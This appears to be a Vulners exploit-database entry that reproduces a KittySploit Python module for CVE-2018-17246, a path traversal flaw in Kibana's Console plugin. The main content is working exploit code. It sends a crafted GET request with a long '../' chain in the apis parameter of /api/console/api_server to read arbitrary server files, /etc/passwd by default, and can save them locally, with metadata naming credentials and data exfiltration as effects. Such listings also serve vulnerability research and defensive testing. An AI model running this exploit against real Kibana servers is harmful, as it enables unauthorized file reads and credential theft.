Lucene search
+L

Kibana Console Path Traversal LFI (CVE-2018-17246)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

Path traversal in Kibana /api/console/api_server apis parameter reads arbitrary local files.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Kibana Console plugin path traversal LFI (CVE-2018-17246)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Kibana Console Path Traversal LFI (CVE-2018-17246)',
        'description': (
            'Exploits CVE-2018-17246 in Kibana <6.4.3 / <5.6.13: path traversal in '
            '/api/console/api_server apis parameter reads arbitrary local files.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2018-17246'],
        'platform': Platform.MULTI,
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2018-17246',
        ],
        'tags': ['kibana', 'elastic', 'lfi', 'file-read', 'vkev'],
        'agent': {
            'risk': 'high',
            'effects': ['data_exfiltration'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': True,
            'produces': ['file_read', 'credentials'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2018_17246_detect'],
            },
        },
    }

    file_path = OptString('/etc/passwd', 'Absolute path to read', required=True)
    output_file = OptString('', 'Local output file', required=False)

    def _traversal_path(self, remote: str) -> str:
        depth = '../' * 12
        remote = remote if remote.startswith('/') else f'/{remote}'
        return (
            f'/api/console/api_server?sense_version=%40%40SENSE_VERSION'
            f'&apis={depth}{remote.lstrip("/")}'
        )

    def execute(self, remote_path: str) -> str:
        path = self._traversal_path(remote_path)
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute(str(self.file_path or '/etc/passwd'))
        if re.search(r'root:.*:0:0:', body or '') or 'an internal server error occurred' in (body or '').lower():
            return {'vulnerable': True, 'reason': 'Kibana console traversal confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Kibana LFI not confirmed', 'confidence': 'medium'}

    def run(self):
        target = str(self.file_path or '/etc/passwd')
        body = self.execute(target)
        if not body:
            print_error('Empty response')
            return False
        out = str(self.output_file or '').strip()
        if out:
            with open(out, 'w', encoding='utf-8', errors='replace') as fh:
                fh.write(body)
            print_success(f'Wrote {len(body)} bytes to {out}')
        else:
            print_success(body[:4000])
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
7.5High risk
Vulners AI Score7.5
CVSS 27.5
CVSS 39.8
EPSS0.82251
3